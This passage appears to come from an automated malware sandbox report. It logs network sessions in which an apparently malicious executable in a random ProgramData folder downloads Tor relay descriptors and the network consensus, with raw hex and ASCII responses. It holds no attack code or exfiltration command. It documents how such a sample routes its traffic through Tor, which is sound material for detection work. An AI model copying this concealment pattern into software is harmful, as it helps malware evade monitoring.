2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49713	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:46.863758087 CET	2716	OUT	GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:46.905436039 CET	2718	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:46 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:46 GMT Data Raw: 72 6f 75 74 65 72 20 30 78 36 37 37 32 36 35 37 39 20 38 39 2e 35 38 2e 36 30 2e 32 30 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 61 45 41 62 44 46 54 42 6c 38 6a 66 42 77 56 44 37 65 38 74 51 4e 6c 4a 68 56 53 48 44 51 43 43 75 71 79 78 31 2f 7a 66 4b 55 6b 6c 67 59 41 51 41 67 42 41 44 57 4c 54 30 59 0a 50 46 35 65 64 59 36 53 76 55 62 69 71 70 47 4a 75 67 55 6e 4e 71 68 48 32 73 69 2b 31 2f 67 46 61 57 58 66 30 4a 66 59 42 6d 4b 42 49 52 57 70 78 4b 62 44 4e 42 44 39 58 39 5a 6d 61 62 43 6f 0a 76 61 49 77 50 71 6a 39 57 56 35 57 2f 4d 66 43 77 34 71 6d 70 64 58 72 5a 75 77 5a 46 34 4d 48 53 6e 78 68 6e 4e 57 6d 57 46 6a 31 2f 4c 30 68 48 74 6e 7a 52 6b 63 67 46 77 73 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 31 69 30 39 47 44 78 65 58 6e 57 4f 6b 72 31 47 34 71 71 52 69 62 6f 46 4a 7a 61 6f 52 39 72 49 76 74 66 34 42 57 6c 6c 33 39 41 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 61 3a 34 63 63 30 3a 31 3a 32 65 38 3a 34 33 30 3a 64 30 66 66 3a 66 65 31 36 3a 61 66 34 66 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 32 3a 31 30 3a 31 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 42 32 20 31 35 32 31 20 32 39 36 38 20 36 41 45 30 20 42 45 30 35 20 46 33 44 31 20 34 36 30 35 20 39 31 44 44 20 37 31 43 34 20 42 42 31 35 0a 75 70 74 69 6d 65 20 36 34 38 32 30 37 0a 62 61 6e 64 77 69 64 74 68 20 31 32 35 38 32 39 31 32 20 31 36 37 37 37 32 31 36 20 31 32 36 33 32 39 32 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 44 41 44 39 38 34 31 36 46 42 36 38 37 37 34 45 30 30 35 39 44 42 39 32 42 35 35 43 41 37 43 34 42 41 36 45 42 42 37 20 67 42 76 58 68 30 4f 62 74 6b 41 33 6a 6b 6e 4b 49 7a 59 46 6a 5a 4e 4b 46 67 65 62 56 4b 49 63 4a 75 76 38 4a 70 32 50 7a 6e 73 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 44 4f 36 47 34 39 33 44 44 6a 2f 36 4a 6d 52 76 33 6b 38 2f 61 51 68 57 42 72 72 73 6d 51 4c 51 64 52 56 67 35 73 33 44 6a 61 6d 55 51 41 4d 4f 64 48 41 61 63 41 0a 55 73 63 57 46 4a 56 47 2f 4c 69 61 4b 57 66 45 65 42 59 6b 42 65 54 35 45 49 70 76 50 49 32 31 55 2f 4d 42 55 53 45 4c 57 74 51 68 6a 57 56 6b 45 73 71 4a 5a 32 52 48 63 77 50 44 51 76 6e 76 0a 6e 4b 37 46 31 7a 43 61 6c 38 75 64 4b 50 6e 34 39 61 56 61 33 72 56 43 30 4c 50 32 4d 53 57 46 66 66 74 63 2f 53 71 42 35 54 36 64 7a 4d 73 41 51 6a 38 4a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 Data Ascii: router 0x67726579 89.58.60.208 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxaEAbDFTBl8jfBwVD7e8tQNlJhVSHDQCCuqyx1/zfKUklgYAQAgBADWLT0YPF5edY6SvUbiqpGJugUnNqhH2si+1/gFaWXf0JfYBmKBIRWpxKbDNBD9X9ZmabCovaIwPqj9WV5W/MfCw4qmpdXrZuwZF4MHSnxhnNWmWFj1/L0hHtnzRkcgFws=-----END ED25519 CERT-----master-key-ed25519 1i09GDxeXnWOkr1G4qqRiboFJzaoR9rIvtf4BWll39Aor-address [2a0a:4cc0:1:2e8:430:d0ff:fe16:af4f]:9001platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 02:10:19fingerprint 02B2 1521 2968 6AE0 BE05 F3D1 4605 91DD 71C4 BB15uptime 648207bandwidth 12582912 16777216 12632922extra-info-digest FDAD98416FB68774E0059DB92B55CA7C4BA6EBB7 gBvXh0ObtkA3jknKIzYFjZNKFgebVKIcJuv8Jp2Pznsonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAODO6G493DDj/6JmRv3k8/aQhWBrrsmQLQdRVg5s3DjamUQAMOdHAacAUscWFJVG/LiaKWfEeBYkBeT5EIpvPI21U/MBUSELWtQhjWVkEsqJZ2RHcwPDQvnvnK7F1zCal8udKPn49aVa3rVC0LP2MSWFfftc/SqB5T6dzMsAQj8JAgMBAAE=-----END RSA PUBLIC KEY-----signing-key

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49714	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:48.993066072 CET	2725	OUT	GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:49.043047905 CET	2726	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:49 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:49 GMT Data Raw: 72 6f 75 74 65 72 20 55 6e 6e 61 6d 65 64 20 31 34 34 2e 32 31 37 2e 39 35 2e 31 32 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 64 68 41 56 35 4d 4f 7a 73 6c 64 30 72 7a 33 74 35 74 63 68 77 6b 4d 35 6e 45 4a 38 30 31 32 42 72 4b 42 59 4b 63 6f 38 4a 31 2f 32 47 42 41 51 41 67 42 41 41 6c 6c 66 4e 36 0a 48 5a 38 4d 73 39 51 59 53 72 4a 36 79 61 66 4e 49 55 43 39 33 4e 49 6b 37 6f 50 49 71 54 4b 50 75 5a 35 61 4c 7a 32 6d 6b 33 79 51 41 42 51 78 78 79 2b 31 66 48 61 52 32 6a 4c 33 53 42 6a 66 0a 4c 33 76 36 30 6f 53 6b 77 6b 6f 5a 6f 6c 5a 51 2b 6c 71 7a 63 33 35 4c 74 6c 66 54 37 62 61 51 69 77 64 58 6f 73 57 39 6f 75 70 39 32 51 74 34 43 70 64 56 36 65 41 6f 74 67 4d 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 4a 5a 58 7a 65 68 32 66 44 4c 50 55 47 45 71 79 65 73 6d 6e 7a 53 46 41 76 64 7a 53 4a 4f 36 44 79 4b 6b 79 6a 37 6d 65 57 69 38 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 37 3a 35 33 30 30 3a 32 30 31 3a 33 30 30 30 3a 3a 34 39 62 65 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 37 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 31 39 3a 32 35 3a 35 35 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 38 38 38 35 20 45 41 36 46 20 37 34 41 36 20 39 34 38 32 20 35 42 31 33 20 42 38 41 37 20 30 38 30 46 20 36 43 46 31 20 36 34 44 46 20 37 34 46 42 0a 75 70 74 69 6d 65 20 31 39 32 32 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 31 36 30 35 36 32 35 35 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 46 34 44 32 39 38 31 32 43 45 44 32 35 38 41 45 36 38 35 33 30 32 35 34 43 39 31 46 41 31 38 45 42 42 45 43 43 30 34 20 66 58 38 38 55 33 65 73 39 42 63 4b 4f 48 31 74 57 55 57 34 59 62 6a 4b 70 58 39 30 6f 36 65 6a 56 5a 4b 72 56 39 74 44 68 63 59 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 4b 6f 6c 6d 4d 4b 31 4d 4a 6a 51 37 6b 44 53 53 73 58 58 7a 48 79 6c 45 71 31 75 57 76 57 61 37 79 39 6a 71 2f 2f 67 74 47 6b 78 30 6a 6f 41 2b 4d 57 50 54 32 30 0a 42 74 79 69 64 4f 53 5a 32 71 67 4e 31 64 2f 33 55 49 6c 4b 49 78 69 4d 37 4c 61 57 61 66 63 76 76 75 4c 73 57 55 65 61 79 5a 47 73 6b 39 56 79 71 59 65 67 30 6e 6a 69 64 50 47 32 37 33 2f 32 0a 37 49 50 31 65 7a 4e 37 48 2f 6a 6d 4e 4f 75 47 39 4a 75 77 4c 71 44 38 41 4d 79 52 75 75 66 73 66 38 48 66 43 45 74 75 57 48 58 2f 4a 2b 49 32 46 5a 79 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 Data Ascii: router Unnamed 144.217.95.12 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxdhAV5MOzsld0rz3t5tchwkM5nEJ8012BrKBYKco8J1/2GBAQAgBAAllfN6HZ8Ms9QYSrJ6yafNIUC93NIk7oPIqTKPuZ5aLz2mk3yQABQxxy+1fHaR2jL3SBjfL3v60oSkwkoZolZQ+lqzc35LtlfT7baQiwdXosW9oup92Qt4CpdV6eAotgM=-----END ED25519 CERT-----master-key-ed25519 JZXzeh2fDLPUGEqyesmnzSFAvdzSJO6DyKkyj7meWi8or-address [2607:5300:201:3000::49be]:9001platform Tor 0.4.7.7 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 19:25:55fingerprint 8885 EA6F 74A6 9482 5B13 B8A7 080F 6CF1 64DF 74FBuptime 192230bandwidth 1073741824 1073741824 16056255extra-info-digest EF4D29812CED258AE68530254C91FA18EBBECC04 fX88U3es9BcKOH1tWUW4YbjKpX90o6ejVZKrV9tDhcYonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMKolmMK1MJjQ7kDSSsXXzHylEq1uWvWa7y9jq//gtGkx0joA+MWPT20BtyidOSZ2qgN1d/3UIlKIxiM7LaWafcvvuLsWUeayZGsk9VyqYeg0njidPG273/27IP1ezN7H/jmNOuG9JuwLqD8AMyRuufsf8HfCEtuWHX/J+I2FZyNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49715	151.20.208.221	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:49.339025021 CET	2729	OUT	GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0 Host: 151.20.208.221 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:49.441062927 CET	2731	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:49 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:25:49 GMT Data Raw: 72 6f 75 74 65 72 20 38 34 31 32 30 33 34 31 30 33 37 38 30 32 33 37 20 32 30 39 2e 31 34 31 2e 33 37 2e 39 34 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 61 4c 41 65 53 79 6a 35 7a 47 4c 76 6e 7a 72 59 69 6c 67 6a 71 75 50 48 52 4b 5a 37 63 6d 34 63 57 6d 39 71 35 52 53 4e 73 63 4d 65 44 65 41 51 41 67 42 41 42 64 4b 72 4e 74 0a 4d 69 34 61 42 4f 6d 70 31 74 6e 79 48 4b 68 62 53 59 63 37 55 7a 4b 37 6a 51 4d 4b 59 7a 37 6c 70 4e 52 4a 4b 36 38 62 48 34 35 4c 50 41 37 33 74 34 65 4c 47 67 4b 31 6d 6f 66 4b 77 75 30 48 0a 38 71 30 2f 38 4d 43 4e 68 2f 78 75 5a 4f 2f 4d 71 4c 74 74 57 62 49 32 42 61 61 64 59 30 45 35 35 6b 43 46 74 4f 6d 51 59 45 79 64 4f 46 76 62 47 41 65 33 6f 4b 61 33 56 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 58 53 71 7a 62 54 49 75 47 67 54 70 71 64 62 5a 38 68 79 6f 57 30 6d 48 4f 31 4d 79 75 34 30 44 43 6d 4d 2b 35 61 54 55 53 53 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 34 3a 30 33 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 44 38 20 33 32 46 30 20 30 32 44 34 20 43 41 33 44 20 32 35 41 44 20 44 41 32 43 20 42 42 42 32 20 44 30 39 45 20 45 34 31 41 20 31 35 41 42 0a 75 70 74 69 6d 65 20 33 39 33 38 35 39 38 0a 62 61 6e 64 77 69 64 74 68 20 33 30 37 32 30 30 30 20 31 30 37 33 37 34 31 38 32 34 20 37 36 32 35 35 37 39 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 35 31 41 46 42 32 34 46 44 45 32 35 33 43 30 46 30 42 45 46 32 37 42 41 45 38 33 46 42 45 30 38 46 33 36 42 43 38 39 20 33 68 6d 57 74 54 44 36 43 68 49 41 47 6d 73 4f 4a 43 48 37 7a 6a 4f 62 33 77 58 47 4a 42 2b 57 59 56 4f 48 6c 6a 55 7a 33 35 51 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 32 4a 31 34 33 34 4f 4e 63 41 49 37 70 75 37 33 51 35 41 38 56 64 42 4f 69 61 63 35 33 59 74 46 62 31 78 44 64 43 6a 31 57 4d 4d 65 52 46 76 4d 51 44 4a 45 58 36 0a 38 71 72 48 50 6f 45 31 63 4e 4e 32 59 6e 44 6f 74 4f 7a 76 4e 62 64 4a 36 79 69 32 62 6a 5a 61 41 62 31 6d 64 49 52 43 6c 56 6f 4b 38 49 41 31 5a 30 41 79 58 72 51 76 53 57 61 37 6d 7a 31 36 0a 47 2f 32 6e 39 6f 71 44 47 79 39 77 67 78 2b 57 6b 45 42 41 46 6e 33 37 39 70 55 34 78 78 57 41 42 34 4b 6d 4f 46 31 2f 49 67 2f 34 75 73 43 63 43 57 55 64 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 39 55 41 Data Ascii: router 8412034103780237 209.141.37.94 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxaLAeSyj5zGLvnzrYilgjquPHRKZ7cm4cWm9q5RSNscMeDeAQAgBABdKrNtMi4aBOmp1tnyHKhbSYc7UzK7jQMKYz7lpNRJK68bH45LPA73t4eLGgK1mofKwu0H8q0/8MCNh/xuZO/MqLttWbI2BaadY0E55kCFtOmQYEydOFvbGAe3oKa3VA4=-----END ED25519 CERT-----master-key-ed25519 XSqzbTIuGgTpqdbZ8hyoW0mHO1Myu40DCmM+5aTUSSsplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 04:03:47fingerprint 02D8 32F0 02D4 CA3D 25AD DA2C BBB2 D09E E41A 15ABuptime 3938598bandwidth 3072000 1073741824 7625579extra-info-digest F51AFB24FDE253C0F0BEF27BAE83FBE08F36BC89 3hmWtTD6ChIAGmsOJCH7zjOb3wXGJB+WYVOHljUz35Qonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK2J1434ONcAI7pu73Q5A8VdBOiac53YtFb1xDdCj1WMMeRFvMQDJEX68qrHPoE1cNN2YnDotOzvNbdJ6yi2bjZaAb1mdIRClVoK8IA1Z0AyXrQvSWa7mz16G/2n9oqDGy9wgx+WkEBAFn379pU4xxWAB4KmOF1/Ig/4usCcCWUdAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAN9UA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49719	131.188.40.189	80	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:25:53.232637882 CET	2745	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 131.188.40.189 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:25:53.252861023 CET	2746	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:25:53 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Sun, 11 Dec 2022 09:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 32 2d 31 31 20 30 38 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 30 39 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 31 31 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 